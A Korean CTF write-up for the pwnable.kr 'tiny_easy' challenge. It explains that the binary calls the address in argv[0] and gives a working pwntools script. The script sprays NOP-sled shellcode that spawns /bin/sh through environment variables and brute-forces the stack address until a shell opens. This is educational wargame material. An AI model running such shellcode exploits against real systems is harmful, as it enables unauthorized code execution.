해설

I made a pretty difficult pwn task.
However I also made a dumb rookie mistake and made it too easy :(
This is based on real event :) enjoy.

 

tiny_easy 바이너리를 실행해보면, 바로 세그폴트가 난다. 바이너리에 대한 정보가 너무 없으니 정보를 좀 수집하기 위해 readelf를 돌려보았다. 

 

 

뭔가 헤더가 정상적으로 보이지는 않는다. 엔트리 주소가 나와있으니 해당 부분에 break를 걸고 코드를 확인해보았다.

 

코드는 단순하게 4개의 명령어로만 이루어져있다. pop을 두번하고, edx가 가리키는 부분의 4바이트를 다시 edx에 넣은 뒤에 call edx를 한다. 즉, 지금 현재 컨텍스트로만 보면, eax는 1이 들어가게 되고 edx에는 0xff861daf가 들어가 call 0xff861daf가 실행되고, 당연히 세그폴트가 날 것이다. 스택에 들어가 있는 정보들에 주목해보자. 현재 스택에 들어가 있는 정보들은 프로그램의 인자이다. 즉 0x1은 인자가 하나임을 의미하고, 0xff861daf에 들어 있는 문자열은 프로그램 자체의 이름(argv[0])인 것이다.

 

따라서 argv[0]를 변경할 수만 있으면 내가 원하는 부분으로 뛸 수 있고, 해당 부분에 쉘코드를 넣어놓으면 될 것이다.

다행이도 스택에 실행권한이 있기 때문에, 쉘코드를 밑에 보이는 환경변수가 저장된 부분에 넣으면 된다. 문제는 정확히 뛰어야 할 주소를 모른다는 것이다. 그래서 이 때는 nop sledding 기법을 쓰면 된다. exploit은 다음과 같다.

 

from pwn import *

shellcode = "\x90"*0x1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
argv = [p32(0xffdfffff)]
env = {}
for i in range(0, 0x100):
        env[str(i)] = shellcode

while True:
        p = process(argv=argv, executable="/home/tiny_easy/tiny_easy", env=env)
        try:
                p.sendline("ls")
                p.recv(1024)
        except :
                print("failed")
                continue
        p.interactive()

 

pwntools의 process 함수는 실행할 파일의 경로와 별도로 argv를 따로 입력 받을 수 있다. 따라서 argv[0]를 내가 뛰어야할 부분으로 조작할 수 있다. 매번 실행 시켜보면 알겠지만 스택의 주소 범위가 0xff8xxxxx~ 안에서 랜덤으로 바뀌기 때문에, 범위 안의 값으로 대충 정해놓고 nop sledding으로 될 때 까지 실행하는 방법으로 하면 쉘을 얻을 수 있다.

'pwn' 카테고리의 다른 글

pwnable.kr - brain fuck  (0) 2021.03.08
pwnable.kr - echo1  (0) 2021.02.25
pwnable.kr - fsb  (0) 2021.02.19
pwnable.kr - horcruxes  (0) 2020.08.04
pwnable.kr - blukat  (0) 2020.08.04

+ Recent posts